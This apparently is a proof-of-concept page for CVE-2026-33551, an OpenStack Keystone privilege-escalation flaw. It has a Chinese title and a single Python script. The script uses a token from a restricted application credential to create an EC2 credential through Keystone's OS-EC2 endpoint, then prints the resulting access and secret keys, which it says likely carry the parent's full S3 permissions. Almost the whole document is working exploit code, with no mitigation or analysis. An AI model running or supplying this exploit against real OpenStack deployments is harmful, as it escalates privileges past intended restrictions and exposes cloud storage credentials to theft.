CVE-2026-33551 OpenStack Keystone权限绕过漏洞

# PoC for CVE-2026-33551: OpenStack Keystone Privilege Escalation # This script demonstrates how a restricted application credential # can be used to create a full-privilege EC2 credential. import requests import json # Configuration KEYSTONE_PUBLIC_URL = "https://your-openstack-api:5000/v3" # Token obtained from a restricted application credential (e.g., Reader role only) RESTRICTED_TOKEN = "gAAAAABk...restricted_token_here..." USER_ID = "1234567890abcdef1234567890abcdef" PROJECT_ID = "abcdef1234567890abcdef1234567890" def exploit_cve_2026_33551(): headers = { "X-Auth-Token": RESTRICTED_TOKEN, "Content-Type": "application/json", "Accept": "application/json" } # The endpoint to create EC2 credentials url = f"{KEYSTONE_PUBLIC_URL}/users/{USER_ID}/credentials/OS-EC2" payload = { "tenant_id": PROJECT_ID } print(f"[*] Attempting to create EC2 credential with restricted token...") print(f"[*] Target URL: {url}") try: response = requests.post(url, headers=headers, data=json.dumps(payload)) if response.status_code == 201: result = response.json() credential = result.get('credential', {}) access = credential.get('access') secret = credential.get('secret') print("[+] Success! EC2 Credential created.") print(f"[+] Access Key: {access}") print(f"[+] Secret Key: {secret}") print("[!] WARNING: This credential likely has full parent S3 permissions,") print("[!] bypassing the restrictions of the application credential.") else: print(f"[-] Failed to create credential. Status Code: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[-] An error occurred: {str(e)}") if __name__ == "__main__": exploit_cve_2026_33551()